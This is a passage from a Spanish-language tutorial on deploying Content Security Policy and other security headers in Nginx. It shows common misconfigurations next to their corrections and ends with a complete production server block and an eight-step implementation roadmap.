Tu mejor aliado para depurar CSP. Abre F12 → Consola para ver las violaciones en tiempo real:

Refused to execute inline script because it violates the following Content Security Policy directive: “script-src ‘nonce-abc123’ ‘strict-dynamic’”. Either the ‘unsafe-inline’ keyword, a hash (‘sha256-…’), or a nonce (‘nonce-…’) is required to enable inline execution.

Herramientas online

Herramientas de prueba de CSP
HerramientaPropósito
Mozilla ObservatoryEvaluación completa de cabeceras de seguridad (A+ posible)
Google CSP EvaluatorEncuentra bypasses lógicos en tu política (muy recomendado)
SecurityHeaders.comAnálisis rápido de cabeceras y puntuación
CSP Hash GeneratorGenera hashes para scripts inline

Errores comunes

1. Usar 'unsafe-inline' para scripts

Anula la protección de CSP
# Your CSP is now useless for XSS protection
script-src 'self' 'unsafe-inline';
Usa nonces en su lugar
# Actual protection
script-src 'self' 'nonce-$cspNonce';

2. Fuentes excesivamente permisivas

NGINXNO HAGAS ESTO: Confiar en esquemas completos
# DANGER: Trusts the entire internet!
script-src 'self' https:;
img-src *;

Esto permite que cualquier script HTTPS se ejecute, anulando completamente el propósito de CSP.

3. Olvidar directivas obligatorias

Incompleta - Eludible
# Missing critical directives!
script-src 'nonce-$cspNonce';
CSP estricta completa
# All required directives present
script-src 'nonce-$cspNonce' 'strict-dynamic';
object-src 'none';
base-uri 'none';

4. Olvidar always en Nginx

Solo respuestas 2xx
# CSP missing on 404, 500 pages!
add_header Content-Security-Policy "...";
Todas las respuestas incluidas las de error
# CSP on ALL responses
add_header Content-Security-Policy "..." always;

Sin always, las cabeceras CSP no se envían en páginas de error (404, 500), dejando esas páginas vulnerables.

5. Trampa de herencia de add_header

NGINXLas cabeceras se sobrescriben en locations anidados
location / {
    add_header Content-Security-Policy "..." always;
    add_header X-Frame-Options "DENY" always;
}

location /assets/ {
    # WARNING: This REPLACES parent headers, not adds to them!
    add_header Cache-Control "public, immutable" always;
    # CSP and X-Frame-Options are now MISSING here!
}

Solución: Usa snippets con include para compartir cabeceras entre locations.


Ejemplo completo de producción

/​etc/​nginx/​sites-available/​example.com
server {
    listen 443 ssl;
    listen [::]:443 ssl;
    http2 on;
    server_name example.com;
    
    root /var/www/example.com;
    index index.html;
    
    # ================================================
    # CSP Nonce Setup
    # ================================================
    set $cspNonce $request_id;
    sub_filter_once off;
    sub_filter_types text/html text/css application/javascript;
    sub_filter CSP_NONCE_NGINX $cspNonce;
    
    # ================================================
    # Build CSP Header
    # ================================================
    set $csp "default-src 'none'; ";
    set $csp "${csp}script-src 'self' 'nonce-${cspNonce}' 'strict-dynamic'; ";
    set $csp "${csp}style-src 'self' 'unsafe-inline'; ";
    set $csp "${csp}img-src 'self' data:; ";
    set $csp "${csp}font-src 'self'; ";
    set $csp "${csp}connect-src 'self'; ";
    set $csp "${csp}worker-src 'self'; ";
    set $csp "${csp}object-src 'none'; ";
    set $csp "${csp}base-uri 'none'; ";
    set $csp "${csp}frame-ancestors 'none'; ";
    set $csp "${csp}form-action 'self'; ";
    set $csp "${csp}upgrade-insecure-requests; ";
    set $csp "${csp}report-uri /csp-reports; ";
    set $csp "${csp}report-to csp-endpoint";
    
    # ================================================
    # Security Headers
    # ================================================
    add_header Reporting-Endpoints 'csp-endpoint="/csp-reports"' always;
    add_header Content-Security-Policy $csp always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "DENY" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
    add_header Cross-Origin-Opener-Policy "same-origin" always;
    # Note: require-corp is strict - external resources (fonts, CDNs) must provide
    # CORP/CORS headers. Use "credentialless" for broader compatibility.
    add_header Cross-Origin-Embedder-Policy "require-corp" always;
    add_header Cross-Origin-Resource-Policy "same-origin" always;
    
    # ================================================
    # Routes
    # ================================================
    location / {
        try_files $uri $uri/ =404;
    }
    
    # CSP Violation Reporting Endpoint
    location /csp-reports {
        access_log /var/log/nginx/csp-reports.log;
        return 204;
    }
    
    # Static assets with relaxed CORP for social media
    # Note: add_header in location blocks overrides parent-level headers,
    # so we must re-include essential security headers here
    location /assets/ {
        expires 1y;
        add_header Cache-Control "public, immutable" always;
        add_header Cross-Origin-Resource-Policy "cross-origin" always;
        # Re-include essential security headers
        add_header X-Content-Type-Options "nosniff" always;
        add_header Referrer-Policy "strict-origin-when-cross-origin" always;
        add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    }
}

Tu camino con CSP: Resumen

Hoja de ruta para implementar CSP
  1. Empieza simple — Despliega default-src 'self' en modo report-only
  2. Añade directivas progresivamente — Scripts, estilos, imágenes, etc.
  3. Gestiona los scripts inline — Muévelos a archivos, usa hashes o implementa nonces
  4. Para sitios estáticos — Usa sub_filter de Nginx para inyección de nonces
  5. Aplica la CSP estricta — Añade 'strict-dynamic', object-src 'none', base-uri 'none'
  6. Configura el reporting — Monitoriza las violaciones con report-uri / report-to
  7. Aplica gradualmente — Cambia de report-only a aplicación tras las pruebas
  8. Mantén e itera — Sigue monitorizando, actualiza según evolucione tu aplicación